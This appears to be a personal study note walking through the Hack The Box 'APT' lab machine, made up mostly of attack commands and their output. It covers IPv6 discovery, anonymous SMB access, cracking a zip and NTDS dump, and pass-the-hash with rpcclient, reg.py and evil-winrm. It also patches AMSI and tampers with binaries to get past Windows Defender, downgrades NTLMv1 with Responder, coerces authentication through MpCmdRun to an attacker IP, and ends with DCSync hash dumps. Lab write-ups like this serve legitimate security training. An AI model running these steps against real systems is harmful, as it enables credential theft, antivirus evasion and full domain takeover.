05 HTB APT

- *#pwn_htb_apt_note*

Resources:

```
1. https://0xdf.gitlab.io/2021/04/10/htb-apt.html
```

1. `https://www.cyber.airbus.com/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/`
2. `https://www.cyber.airbus.com/the-oxid-resolver-part-2-accessing-a-remote-object-inside-dcom/`
3. `https://0xdf.gitlab.io/2021/04/10/htb-apt.html`
4. `https://book.hacktricks.xyz/network-services-pentesting/135-pentesting-msrpc`
5. **IOXIDEResolver GitHub:** `https://github.com/mubix/IOXIDResolver`
6. **Another IPv6 enumeration tool :** `https://github.com/trickster0/Enyx`
7. **Responder Magic byte Challenge** `https://crack.sh/netntlm/`
8. **The 0xdf site for HTB Apt just the part at the end to grab the resulting formatted hash we got in Responder that needed formatting. His walkthrough was TLDR so I cheat and just copy the resulting correctly formatted hash from his walkthrough.**
9. `https://0xdf.gitlab.io/2021/04/10/htb-apt.html`

   PORT STATE SERVICE

```
80/tcp open  http
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-csrf:
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=apt.htb
|   Found the following possible CSRF vulnerabilities:
|
|     Path: http://apt.htb:80/support.html
|     Form id:
|_    Form action: https://10.13.38.16/contact-post.html
```

4. **I ran the** `IOXIDEResolver.py` **python script**

```
pepe@triplehelix [12:01:15 AM] [~/hackthebox/apt]
-> % python3 IOXIDResolver.py -t 10.10.10.213
[*] Retrieving network interface of 10.10.10.213
Address: apt
Address: 10.10.10.213
Address: dead:beef::b885:d62a:d679:573f
Address: dead:beef::e489:f307:858c:1fbd
Address: dead:beef::5a
```

5. **SMBCLIENT USING IPv6 protocol**

- *#pwn_smbclient_ipv6_protocol_anon_login*

```
pepe@triplehelix [02:38:42 AM] [~]
-> % smbclient -L //apt/
Password for [WORKGROUP\pepe]:
Anonymous login successful

        Sharename       Type      Comment
        ---------       ----      -------
        backup          Disk
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share
        SYSVOL          Disk      Logon server share
apt is an IPv6 address -- no workgroup available
```

> **SUCCESS, that was easy.**
>
> 6. **That was a great way to list the shares on HTB Apt box. Now this is also a great way to login to one of the shares as you can see we can log into backup.** ***Actually it doesn't say what privs we have but I know we can log into it from doing the box already*****.**

```
$ smbclient //apt/backup
```

1. **Just hit enter when it prompts for a password and you can anon login**
2. **Download the zip file backup.zip and crack it**
3.

Crack zip file with Zip2John

PROTIP

JOHN ISSUE FIXED

I had been having so many issues with John the Ripper and Hashcat I uninstalled and reinstalled each 10 times at least. I realized I just needed to use `$ sudo` LMFAO

- *#pwn_john_the_ripper_issue_fixed*

7. **Crack with zip2john**

```
pepe@triplehelix [10:46:23 PM] [~/hackthebox/apt]
-> % chmod 755 backup.zip
pepe@triplehelix [10:46:31 PM] [~/hackthebox/apt]
-> % sudo zip2john backup.zip
[sudo] password for pepe:
backup.zip/Active Directory/ is not encrypted!
ver 2.0 backup.zip/Active Directory/ is not encrypted, or stored with non-handled compression type
ver 2.0 backup.zip/Active Directory/ntds.dit PKZIP Encr: cmplen=8483543, decmplen=50331648, crc=ACD0B2FB
ver 2.0 backup.zip/Active Directory/ntds.jfm PKZIP Encr: cmplen=342, decmplen=16384, crc=2A393785
ver 2.0 backup.zip/registry/ is not encrypted, or stored with non-handled compression type
ver 2.0 backup.zip/registry/SECURITY PKZIP Encr: cmplen=8522, decmplen=262144, crc=9BEBC2C3
ver 2.0 backup.zip/registry/SYSTEM PKZIP Encr: cmplen=2157644, decmplen=12582912, crc=65D9BFCD
backup.zip:$pkzip2$3*1*1*0*8*24*9beb*9ac6*0f135e8d5f02f852643d295a889cbbda196562ad42425146224a8804421ca88f999017e
d*1*0*8*24*acd0*9cca*0949e46299de5eb626c75d63d010773c62b27497d104ef3e2719e225fbde9d53791e11a5*2*0*156*4000*2a3937
85*81733d*37*8*156*2a39*9cca*0325586c0d2792d98131a49d1607f8a2215e39d59be74062d0151084083c542ee61c530e78fa74906f62
87a612b18c788879a5513f1542e49e2ac5cf2314bcad6eff77290b36e47a6e93bf08027f4c9dac4249e208a84b1618d33f6a54bb8b3f5108b
9e74bc538be0f9950f7ab397554c87557124edc8ef825c34e1a4c1d138fe362348d3244d05a45ee60eb7bba717877e1e1184a728ed076150f
754437d666a2cd058852f60b13be4c55473cfbe434df6dad9aef0bf3d8058de7cc1511d94b99bd1d9733b0617de64cc54fc7b525558bc0777
d0b52b4ba0a08ccbb378a220aaa04df8a930005e1ff856125067443a98883eadf8225526f33d0edd551610612eae0558a87de2491008ecf6a
cf036e322d4793a2fda95d356e6d7197dcd4f5f0d21db1972f57e4f1543c44c0b9b0abe1192e8395cd3c2ed4abec690fdbdff04d5bb6ad12e
158b6a61d184382fbf3052e7fcb6235a996*$/pkzip2$::backup.zip:Active Directory/ntds.jfm, registry/SECURITY, Active
Directory/ntds.dit:backup.zip
NOTE: It is assumed that all files in each archive have the same password.
If that is not the case, the hash may be uncrackable. To avoid this, use
option -o to pick a file at a time.
```

8. **Zip hash cracked with JTR in 1 second**

```
pepe@triplehelix [11:03:08 PM] [~/hackthebox/apt]
-> % sudo john --wordlist=rockyou.txt ziphash
[sudo] password for pepe:
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
iloveyousomuch   (backup.zip)
1g 0:00:00:00 DONE (2023-10-03 23:45) 50.00g/s 409600p/s 409600c/s 409600C/s newzealand..total90
Use the "--show" option to display all of the cracked passwords reliably
Session completed
pepe@triplehelix [11:45:38 PM] [~/hackthebox/apt]
-> % sudo john ziphash --show
backup.zip:iloveyousomuch::backup.zip:Active Directory/ntds.jfm, registry/SECURITY, Active
Directory/ntds.dit:backup.zip

1 password hash cracked, 0 left
```

9. **We move the opened directories to a directory and call it backup**
    1. `$ find . -type f`
    2. **Then run xxd against the file. It errors because it needs quotes.**
    3. `pepe@triplehelix [12:01:37 AM] [~/hackthebox/apt/backup]$ xxd ./Active Directory/ntds.jfm`
    4. **Needs double quotes**
    5. `pepe@triplehelix [12:02:46 AM] [~/hackthebox/apt/backup] $ xxd "./Active Directory/ntds.jfm"`
    6. **We don't get anything back.**

`SecretsDump.py` from Impacket

10. I took a crap load of notes on the my other Obsidian account and I don't feel like transferring them to this one, but I will take some notes here. I also dedicated a note for `Secretsdump.py` commands. You can find all the things we did there.
    1. Here is the command I ran to dump all these hashes that we cracked from the cracked zipfile above
    2. You will need the following 3 files to run this command using `secretsdump.py`

```
.rw-r--r--  50M pepe 23 Sep  2020 ntds.dit
.rw-r--r-- 262k pepe 23 Sep  2020 SECURITY
.rw-r--r--  13M pepe 23 Sep  2020 SYSTEM
```

---

11. Then you need to run this long ass command

```
(.venv)pepe@triplehelix [01:05:56 AM] [~/python_projects/.impacketgit/impacket/examples] [master *]
-> % ./secretsdump.py -pwd-last-set -user-status -history -ntds ~/hackthebox/apt/backup/ntds.dit -security
~/hackthebox/apt/backup/SECURITY -system ~/hackthebox/apt/backup/SYSTEM local | tee
~/hackthebox/apt/secretsdump.backup
```

Time-Stamp `@:TS:35:15`

12. Next you will need to parse the file because it is a gigantic hash file. Most of these aren't crackable hashes. The hashes that are crackable start with `aad3b4<SNIP>`.
    1. The last part `grep -v history0` just means don't show the greps with `history0` in them. ⬇⬇⬇

```
pepe@triplehelix [02:08:02 AM] [~/hackthebox/apt]
-> % grep aad3b435b51404eeaad3b435b51404ee secretsdump.backup | grep history | grep -v history0
APT$_history1:1000:aad3b435b51404eeaad3b435b51404ee:4be5e714b1e235197d0d2de653ec9759:::
APT$_history2:1000:aad3b435b51404eeaad3b435b51404ee:04e8e55da6d3d5e6dd9d5b29272aa7f1:::
```

Time-Stamp `@:TS:40:11`

Kerbrute find Valid Users IPv6

- *#pwn_kerbrute_find_valid_users_ippsec_htb_apt*
- *#pwn_kerbrute_find_vailid_users_ipv6_server*

1. To find valid users you need a list of users in a file preferably valid users lol. Anyway, any users you suspect are valid from a dump file or from scrapping a website. If you have a list of potential valid users for a Domain or Standalone Server Kerbrute is a great app to use for this.
    1. To get a list of users from the hash dump file you got when running secretsdump run the following command

---

```
1. grep aad3b435b51404eeaad3b435b51404ee secretsdump.backup | grep aad3b | awk -F: '{print $1}'

2. pepe@triplehelix [03:08:11 AM] [~/hackthebox/apt]
-> % grep aad3b435b51404eeaad3b435b51404ee secretsdump.backup | grep aad3b | awk -F: '{print $1}' | grep -v
history | sort -u > userslist

3. pepe@triplehelix [03:09:15 AM] [~/hackthebox/apt]
-> % cat userslist
```

14. Run `kerbrute enumusers` command against the domain. Remember this is for `IPv6` because this domain uses it and not `IPv4`.
    1. `pepe@triplehelix [03:14:59 AM] [~/hackthebox/apt]>$ kerbrute userenum --dc apt -d htb.local userslist`
    2. SUCCESS, we get 2 valid users so far administrator and apt

PROTIP

15. **You can ping an `IPv6` address by assigning the `IPv6` address in your `/etc/hosts` file to a domain name. *You can also just use* `ping6 dead::beef::<SNIP>`**

```
pepe@triplehelix [03:32:54 AM] [~/hackthebox/apt]
-> % ping apt
PING apt(apt (dead:beef::b885:d62a:d679:573f)) 56 data bytes
64 bytes from apt (dead:beef::b885:d62a:d679:573f): icmp_seq=1 ttl=63 time=143 ms
64 bytes from apt (dead:beef::b885:d62a:d679:573f): icmp_seq=2 ttl=63 time=155 ms
64 bytes from apt (dead:beef::b885:d62a:d679:573f): icmp_seq=3 ttl=63 time=139 ms
^C
--- apt ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 138.846/145.571/155.305/7.048 ms
```

> 1. **NOTICE: We are getting the dead:beef `IPv6` version back. 👽👽👽**
> 2. **Here is the report from `Kerbrute`**

```
pepe@triplehelix [03:14:59 AM] [~/hackthebox/apt]
-> % kerbrute userenum --dc apt -d htb.local userslist

    __             __               __
   / /_____  _____/ /_  _______  __/ /____
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/

Version: dev (n/a) - 10/04/23 - Ronnie Flathers @ropnop

2023/10/04 03:32:40 >  Using KDC(s):
2023/10/04 03:32:40 >   apt:88

2023/10/04 03:32:51 >  [+] VALID USERNAME:       Administrator@htb.local
2023/10/04 03:33:54 >  [+] VALID USERNAME:       APT$@htb.local
2023/10/04 03:40:10 >  [+] VALID USERNAME:       henry.vinson@htb.local
2023/10/04 03:50:24 >  Done! Tested 2001 usernames (3 valid) in 1063.541 seconds
```

17. **LEFT OFF at Time-Stamp `@:TS:43:00`. *Ippsec* starts using `Socat` to tunnel through `localhost`. That is confusing and I'm tired. I may follow the rest of the walkthrough first with `0xdf` and then with *Z4vitaar* instead.**

---

18. **I had to leave *Ippsec* walk-through at the time stamp above `43:00` because he used `SoCat` and he uses tools sometimes that are over kill and he doesn't explain how to use them when he shows them. So I am going the rest of the walk-through with *S4vitaar* video on *HTB apt*.**

CME `passthehash` failed

19. **The administrator password hash when using `CME` to *PASSTHEHASH* failed. The cracked password is `administrator:password123!`, but I don't think it would have made a difference to try to log in with the cracked hash. `henry.vinson` also fails**

```
1. oxdf@parrot$ crackmapexec smb dead:beef::b885:d62a:d679:573f -H 2b576acbe6bcfda7294d6bd18041b8fe -u
administrator
2. FAILED
3. FAILED with henry.venison as well
4. oxdf@parrot$ ~/cme smb apt.htb -u henry.vinson -H 2de80758521541d19cabba480b260e8f
```

20. **He tries to password spray and breaks the box.**

```
1. oxdf@parrot$ crackmapexec smb htb.local -u henry.vinson -H hashes
2. After about 60 hashes, the box stops responding entirely. It turns out it has wail2ban installed, preventing
this kind of bruteforce. I had to reset the box to get it back.
```

`0xdf` method too complicated and long going with Z4vitaar walkthrough on Apt walk-through

- *#pwn_nmap_parse_NSE_scripts*

1. **If you want to parse NSE scripts you can run this command**

```
$ locate .nse
$ locate .nse | xargs grep "categories"
$ locate .nse | xargs grep "categories" | grep -oP '".*?"' | sort -u
- The last one is to see only the main categories.
```

2. **Cool nmap scan by s4vitaar**

```
1. alias enumscan='nmap --script http-enum -vvv -oN nmap/enumscan.nmap -p'
2. Next I enter the port or ports and hostname and it works perfectly
3. alias enumscan='nmap --script http-enum -vvv -oN nmap/enumscan.nmap -p' 80,445 bounty.htb
4. $ enumscan 80,445 bounty.htb
```

Discover if `IPv6` is being used

- *#pwn_IPv6_discovery_msrpc_135*
- *#pwn_IOXIDEResolver_IPv6_enum_py_script*

3. *He see `msrpc` that he found on the nmap scan `port 135`. He looks it up and it takes him to HackTricks page. That page points to the article and the github.*

```
1. https://www.cyber.airbus.com/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-
authentication/
2. https://github.com/mubix/IOXIDResolver
3. If the IOXIDEResolver.py does not run with python3 it is because it is for python2. The github probrably has
the current one, but all you need to do is wrap the print statement with parenthesis to work with Python3.
4. Usage: $ python3 IOXIDEResolver.py -t <IPv4>
5. This script worked really well. Pay attention to msrpc(port135) being open and you can use this script again
to enumerate and see if the server is using <IPV6>.
```

4. **To find out if a server is using `IPv6` use `ping6`**
    1. `$ ping6 dead:beef<SNIP>`
5. **Another tool to enumerate a Server for `IPv6` is called `Enyx`.**
    1. **Do a google search for `github snmp ipv6 enyx`**
    2. `https://github.com/trickster0/Enyx`
6. **Run `CrackMapExec` using `IPv6` address. Just paste it in**
    1. `$ crackmapexec smb dead:beef::b885:d62a:d679:573f`
    2. **I like just pasting the address in the command better, but apparently you will need to update your `/etc/hosts` file with the `IPv6` address like below.**
    3. `dead:beef::b885:d62a:d679:573f apt htb.local`
7. **`SMBCLIENT IPv6` usage S4vitaar**

```
1. smbclient -L apt -N
2. I have no idea why he CDs into a folder then runs the command. lol
3. $ cd ../contents; smbclient //apt/backup -N
```

Left off `@:TS:01:30:29`. I am taking notes on my other obsidian account under `Hack The Box 2 Windows`. I will still append the *important stuff* to this tutorial note.

8. **Parse the file again for the hashes**

```
>$ secretsdump.backup | grep -i "aad3b" | awk '{print $4}' FS=":" | sed 's/^$//g'
```

Time Stamp `@:TS:02:16:42`

9. **I am currently at the time stamp above in the HTB Apt walk-through by S4vitaar. I am having issues with evil-winrm and impacket reg.py. I have logged into `RPCCLIENT` successfully with the valid hash from `henry.vinson:e53d87d42adaa3ca32bdb34a876cbffb`.**

```
~ ▷ rpcclient -U "henry.vinson" --pw-nt-hash apt
Password for [WORKGROUP\henry.vinson]:e53d87d42adaa3ca32bdb34a876cbffb
rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[DefaultAccount] rid:[0x1f7]
user:[henry.vinson] rid:[0x451]
user:[henry.vinson_adm] rid:[0x452]
rpcclient $> enumdomgroups
group:[Enterprise Read-only Domain Controllers] rid:[0x1f2]
group:[Domain Admins] rid:[0x200]
group:[Domain Users] rid:[0x201]
group:[Domain Guests] rid:[0x202]
group:[Domain Computers] rid:[0x203]
```

```
group:[Domain Controllers] rid:[0x204]
group:[Schema Admins] rid:[0x206]
group:[Enterprise Admins] rid:[0x207]
group:[Group Policy Creator Owners] rid:[0x208]
group:[Read-only Domain Controllers] rid:[0x209]
group:[Cloneable Domain Controllers] rid:[0x20a]
group:[Protected Users] rid:[0x20d]
group:[Key Admins] rid:[0x20e]
group:[Enterprise Key Admins] rid:[0x20f]
group:[DnsUpdateProxy] rid:[0x44f]
rpcclient $>
```

Impacket `reg.py`

10. ***I had to mess with `reg.py` to get it work*. If you get nothing back try a different registry hive and then when something finally allows you to see the registry go back to the hive you suspect has passwords and try again.**

```
(.venv) ~/python_projects/.impacketgit/impacket/examples (master ✘)★ ▷ sudo ./reg.py htb.local/henry.vinson@apt
-hashes :e53d87d42adaa3ca32bdb34a876cbffb query -keyName 'HKU\Software\GiganticHostingManagementSystem'
.....................................
Impacket v0.12.0.dev1+20230914.14950.ddfd9d4c - Copyright 2023 Fortra

[!] Cannot check RemoteRegistry status. Hoping it is started...
HKU\Software\GiganticHostingManagementSystem
        UserName        REG_SZ   henry.vinson_adm
        PassWord        REG_SZ   G1#Ny5@2dvht
```

11. **If you use the `-s` flag with `reg.py` it will dump the entire hive that you are in. It would dump all of `'HKU'`. Here is the command below.**

```
1. (.venv) ~/python_projects/.impacketgit/impacket/examples (master ✘)★ ▷ sudo ./reg.py
htb.local/henry.vinson@apt -hashes :e53d87d42adaa3ca32bdb34a876cbffb query -keyName 'HKU' -s
[sudo] password for pepe:
Impacket v0.12.0.dev1+20230914.14950.ddfd9d4c - Copyright 2023 Fortra

[!] Cannot check RemoteRegistry status. Hoping it is started...
\Console\
        ColorTable00    REG_DWORD       0x0
        ColorTable01    REG_DWORD       0x800000
        ColorTable02    REG_DWORD       0x8000
        ColorTable03    REG_DWORD       0x808000<snip>
2. It is a ton of data I had to Ctrl Z, but If you allow it to continue dumping eventually it will show the
credentials in plain text.
```

12. **I got this new credential and was able to log in with `Evil-Winrm`.**

```
~/hackthebox/apt ▷ evil-winrm -i apt -u 'henry.vinson_adm' -p 'G1#Ny5@2dvht'

Evil-WinRM shell v3.5

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\henry.vinson_adm\Documents> whoami
htb\henry.vinson_adm
```

12. **Our user `henry.vinson_adm` has little to no privileges. So, we will have to get creative.**

```
1. *Evil-WinRM* PS C:\Users\henry.vinson_adm\Desktop> whoami /all
Privilege Name                Description                    State
============================= ============================== =======
SeMachineAccountPrivilege     Add workstations to domain     Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
```

- *#pwn_winpeas_download*

13. **Download `winpeas.exe`**

    1. `https://github.com/carlospolop/PEASS-ng`
    2. `https://github.com/carlospolop/PEASS-ng/releases`
    3. `wget https://github.com/carlospolop/PEASS-ng/releases/download/20231002-59c6f6e6/winPEASx64.exe`

14. **He does a google search for `windows version registry cmd`**

    1. `https://mivilisnet.wordpress.com/2020/02/04/how-to-find-the-windows-version-using-registry/`
    2. `reg query "hklm\software\microsoft\windows nt\currentversion" /v ProductName`

3. **Put this in your shell to find out what windows version you are on**

- *#pwn_windows_enumerate_version_x64_or_32*

15. **Here is the command below. *You can also ask using the* `[Environment]` *flag***

```
1. *Evil-WinRM* PS C:\Users\henry.vinson_adm\Desktop> reg query "hklm\software\microsoft\windows
nt\currentversion" /v ProductName

HKEY_LOCAL_MACHINE\software\microsoft\windows nt\currentversion
    ProductName    REG_SZ    Windows Server 2016 Standard
2. *Evil-WinRM* PS C:\Users\henry.vinson_adm\Desktop> [Environment]::Is64BitOperatingSystem
True
```

Evil-Winrm upload `winPEASx64.exe`

16. **Upload and execute `winPEASx64.exe`. I renamed it to just `winpeas.exe`**

```
1. *Evil-WinRM* PS C:\Users\henry.vinson_adm\Desktop> upload winpeas.exe
.............................
Info: Uploading /usr/share/evil-winrm/winpeas.exe to C:\Users\henry.vinson_adm\Desktop\winpeas.exe
Data: 3183272 bytes of 3183272 bytes copied
Info: Upload successful!
2. .\winpeas.exe
3. Virus detected, I even open it with a binary editor and change a few bits to change the checksum and renamed
it. AV took about a minute to decide if it was a virus or not and still denied it from executing.
4. *Evil-WinRM* PS C:\Users\henry.vinson_adm\Desktop> .\funvideo.exe
Program 'funvideo.exe' failed to run: Operation did not complete successfully because the file contains a virus
or potentially unwanted softwareAt line:1 char:1
```

17. ***Here comes the creative part. We will use `Evil-Winrm's `built-in menu to try to get` winPEAS.exe` to run in memory*. I also attempted to stop *Windows Defender*. I got access denied.**

- *#pwn_windows_payload_obfuscation_using_evil_winrm*
- *#pwn_windows_obfuscation_of_EXE_using_evil_winrm*

```
1. *Evil-WinRM* PS C:\Users\henry.vinson_adm\Desktop> menu


   ,.   (   .      )               "            ,.   (   .      )       .
  ("  (  )  )'     ,'            (`     '`    ("     )  )'     ,'   .  ,)
.; )  ' (( (" )    ;(,      .     ;)  "  )"  .; )  ' (( (" )   );(,   )((
_".,_,.__).,) (..._( ._),     )  , (._..( '.._"._, . '._)_(..,_(_".) _( _')
\_   _____/__  _|__|  |    ((  (  /  \    /  \__| ____\______   \  /     \
 |    __)_\  \/ /  |  |    ;_)_') \   \/\/   /  |/    \|       _/ /  \ /  \
 |        \\   /|  |  |__ /_____/  \        /|  |   |  \    |   \/    Y    \
/_______  / \_/ |__|____/           \__/\  / |__|___|  /____|_  /\____|__  /
        \/                             \/          \/       \/         \/

      By: CyberVaca, OscarAkaElvis, Jarilaos, Arale61 @Hackplayers

[+] Dll-Loader
[+] Donut-Loader
[+] Invoke-Binary
[+] Bypass-4MSI
[+] services
[+] upload
[+] download
[+] menu
[+] exit

2. *Evil-WinRM* PS C:\Users\henry.vinson_adm\Desktop> net stop windefend
net.exe : System error 5 has occurred.
    + CategoryInfo          : NotSpecified: (System error 5 has occurred.:String) [], RemoteException
    + FullyQualifiedErrorId : NativeCommandError

.Access is denied.
3. *Evil-WinRM* PS C:\Users\henry.vinson_adm\Desktop> Bypass-4MSI
.....................................
Info: Patching 4MSI, please be patient...
[+] .Success!
4. *Evil-WinRM* PS C:\Users\henry.vinson_adm\Desktop> Invoke-Binary
.....................................
.EXAMPLE
    Invoke-Binary /opt/csharp/Watson.exe
    Invoke-Binary /opt/csharp/Binary.exe param1,param2,param3
    Invoke-Binary /opt/csharp/Binary.exe 'param1, param2, param3'
```

```
5. FAILED, the reason it failed is because I took too long to Invoke the exe, I forgot to change the name, and I did not change some of the bytes of binary data with the ghex editor. Once I did all that winpeas.exe executed following these steps flawlessly. As of now I do not know another way to bypass Windows Defender to get an executable to run.
6. Repeat the steps again in Evil-Winrm aka Bypass-4MSI, Invoke-Binary
7. *Evil-WinRM* PS C:\Users\henry.vinson_adm\Desktop> Invoke-Binary /home/pepe/hackthebox/apt/emojimaker.exe
8. SUCCESS!!! winpeas.exe ran with no problems following the steps above. See below for what exploits I use to escalate privilege on the box.
```

18. ***UPX*** **attempt to shrink the** `winpeas.exe` **file failed because** ***.NET*** **is not supported**

```
1. >$ upx --help
2. --brute, --ultra-brute, --best are some options
3. Usage: upx [-123456789dlthVL] [-qvfk] [-o file] file..
4. -oFILE write output to 'FILE'
5. -k
6. sudo upx -k --brute groovymusic.exe -o groovy.exe
7. FAIL, upx does not support .NET as of yet
```

19. ***S4vitaar*** **says that weak** ***NTLM*** **settings is worth looking at. Below is the** `winPEAS.exe` **output on** ***NTLM*** **Settings that he found worth investigating.**

```
╔══════════╣ .Enumerating .NTLM .Settings
  LanmanCompatibilityLevel    : 2 (Send NTLM response only)


  NTLM Signing Settings
      ClientRequireSigning    :.False
      ClientNegotiateSigning  : True
      ServerRequireSigning    : True
      ServerNegotiateSigning  : True
      LdapSigning             : Negotiate signing (Negotiate signing)

  Session Security
      NTLMMinClientSec        : 536870912 (Require 128-bit encryption)
        [!] .NTLM .clients .support .NTLMv1!
      NTLMMinServerSec        : 536870912 (Require 128-bit encryption)

        [!] NTLM services on this machine support NTLMv1!
```

20. **He is going to see if he can capture a challenge with** `Responder`**. Follow this guide on this website** `(crack.sh/netntlm)`**. The reason we can do this attack is because as stated in the** `winPEAS.exe` **scan** ***NTLM*** **clients support** `NTLMv1`**. Meaning** `NTLMv2` **can be downgraded and the hash cracked.**

```
1. https://crack.sh/netntlm/
2. This is the reason we are able to pull off this attack with Responder. Basically, the reason is because the .NTLM .clients .support .NTLMv1 as stated in the winPEAS.exe analysis.
3. This .below .is .from .the .website.
4. The best ways to capture NETLM/NETNTLMv1 authentication is through either something like [Metasploit's SMB Capture](https://www.offensive-security.com/metasploit-unleashed/server-capture-auxiliary-modules/) or with [Responder](https://github.com/lgandx/Responder). Keep in mind that this will only work for clients that are .susceptible to being downgraded to using LANMAN or .NTLMv1
```

21. **You need to edit** `/etc/responder.conf` **so you can do the** `"magjcal challenge"`**.**

```
1. First you'll want to install [Kali or BlackArch Linux] and edit the /etc/responder/Responder.conf in Kali or /usr/share/responder/Responder.conf with 👽BlackArch👽
2. file to include the magical 1122334455667788 challenge:

2.
HTTPS = On
DNS = On
LDAP = On

; Custom challenge.
; Use "Random" for generating a random challenge for each requests (Default)
Challenge = 1122334455667788

; SQLite Database file

3. Then fire up responder on your network interface and tell it to downgrade to lm:
4. root@arch> responder -I eth0 --lm
```

22. **Now do this**

```
*Evil-WinRM* PS C:\> dir \\10.10.14.4\ninjafolder\foo
FAILED
```

23. **Ok, let's try something else**

    1. **CD into windows defender dir**
    2. `*Evil-WinRM* PS C:\Program Files\Windows Defender>`
    3. **Do a** `dir` **and you should see** `MpCMDRun.exe`

24. **Execute** `MpCMDRun.exe`

    1. **You shouldn't have any issues executing this executable**
    2. `*Evil-WinRM* PS C:\Program Files\Windows Defender> .\MpCMDRun.exe`
    3. **Hitting enter will show you the** `HELP MENU`**.**
    4. **Let's try this 31337 shitake right here 👽👽👽**
    5. `*Evil-WinRM* PS C:\Program Files\Windows Defender> .MpCMDRun.exe -Scan -ScanType 3 -File \\10.10.14.4\test`

Living off the Land (style attack using Win Defender) 👽👽👽

25. **Of course it will say can not execute but you should have capture the NT System Hash**

```
1. *Evil-WinRM* PS C:\Program Files\Windows Defender> .\MpCMDRun.exe -Scan -ScanType 3 -File \\10.10.14.4\test
Scan starting...
CmdTool: Failed with hr = 0x80508023. Check C:\Users\HENRY~2.VIN\AppData\Local\Temp\MpCmdRun.log for more
information
2. RESPONDER captured the hash below
3. [+] Listening for events...

[SMB] NTLMv1 Client   : 10.10.10.213
[SMB] NTLMv1 Username : HTB\APT$
[SMB] NTLMv1 Hash     :
APT$::HTB:95ACA8C7248774CB427E1AE5B8D5CE6830A49B5BB858D384:95ACA8C7248774CB427E1AE5B8D5CE6830A49B5BB858D384:11223
34455667788
[*] Skipping previously captured hash for HTB\APT$
```

26. **CRACKING THE *NTLMv1 HASH***

    1. **The hash has to be in this format:** `NTHASH:95ACA8C7248774CB427E1AE5B8D5CE6830A49B5BB858D384` **with the word** `NTHASH:` **in front of the hash.**
    2. **All of this information can be found at this site:** `https://crack.sh/netntlm/`
    3. **Windows Defender will only acknowledge a magic challenge. That is why you have to change the Challenge type to be the magic byte number.**
    4. `Challenge = 1122334455667788`

27. **I may not have the format correct. Do a google search for** `ntlmv1-multi github`

    1. `https://github.com/evilmog/ntlmv1-multi`
    2. `git clone https://github.com/evilmog/ntlmv1-multi.git`

28. **Run it to format the hash correctly for cracking**

```
~/hackthebox/apt/ntlmv1-multi (master ✘)✹ ▷ python3 ntlmv1.py --ntlmv1
'APT$::HTB:95ACA8C7248774CB427E1AE5B8D5CE6830A49B5BB858D384:95ACA8C7248774CB427E1AE5B8D5CE6830A49B5BB858D384:1122
334455667788'
................................
Hashfield Split:
['APT$', '', 'HTB', '95ACA8C7248774CB427E1AE5B8D5CE6830A49B5BB858D384',
'95ACA8C7248774CB427E1AE5B8D5CE6830A49B5BB858D384', '1122334455667788']

Hostname: HTB
Username: APT$
Challenge: 1122334455667788
LM Response: 95ACA8C7248774CB427E1AE5B8D5CE6830A49B5BB858D384
NT Response: 95ACA8C7248774CB427E1AE5B8D5CE6830A49B5BB858D384
CT1: 95ACA8C7248774CB
CT2: 427E1AE5B8D5CE68
CT3: 30A49B5BB858D384

To Calculate final 4 characters of NTLM hash use:
./ct3_to_ntlm.bin 30A49B5BB858D384 1122334455667788

To crack with hashcat create a file with the following contents:
95ACA8C7248774CB:1122334455667788
427E1AE5B8D5CE68:1122334455667788
```

```
echo "95ACA8C7248774CB:1122334455667788">>14000.hash
echo "427E1AE5B8D5CE68:1122334455667788">>14000.hash

To crack with hashcat:
./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset 14000.hash ?1?1?1?1?1?1?1?1

To Crack with crack.sh use the following token
NTHASH:95ACA8C7248774CB427E1AE5B8D5CE6830A49B5BB858D384
```

29. **We need to take the *NTHASH* again and I did have it correct the first time so I don't really know what this script is for. Anyway, we need to take the *NTHASH* and do all kinds of crazy shit to recommended by `0xdf`. I don't feel like doing all the shitake today so we are just going to get the resulting hash that is finally ready to crack and crack it.**

    1. `https://0xdf.gitlab.io/2021/04/10/htb-apt.html`
    2. `d167c3238864b12f5f82feae86a7f798`

30. **Next we use secrets dump with this *NT SYSTEM HASH* to pwn the system**

```
1. 0xdf@parrot$ secretsdump.py -hashes :d167c3238864b12f5f82feae86a7f798 'htb.local/APT$@htb.local'
2. S4vitaar method of same command
3. root@blackarch> secretsdump.py 'htb.local/APT$@apt' -hashes :d167c3238864b12f5f82feae86a7f798
4. My method on first try
5. (.venv) ~/python_projects/.impacketgit/impacket/examples (master ✘)★ ▷ ./secretsdump.py 'htb.local/APT$@apt'
-hashes :d167c3238864b12f5f82feae86a7f798
Impacket v0.12.0.dev1+20230914.14950.ddfd9d4c - Copyright 2023 Fortra

[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:c370bddf384a691d811ff3495e8a72e2:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:738f00ed06dc528fd7ebb7a010e50849:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
henry.vinson:1105:aad3b435b51404eeaad3b435b51404ee:e53d87d42adaa3ca32bdb34a876cbffb:::
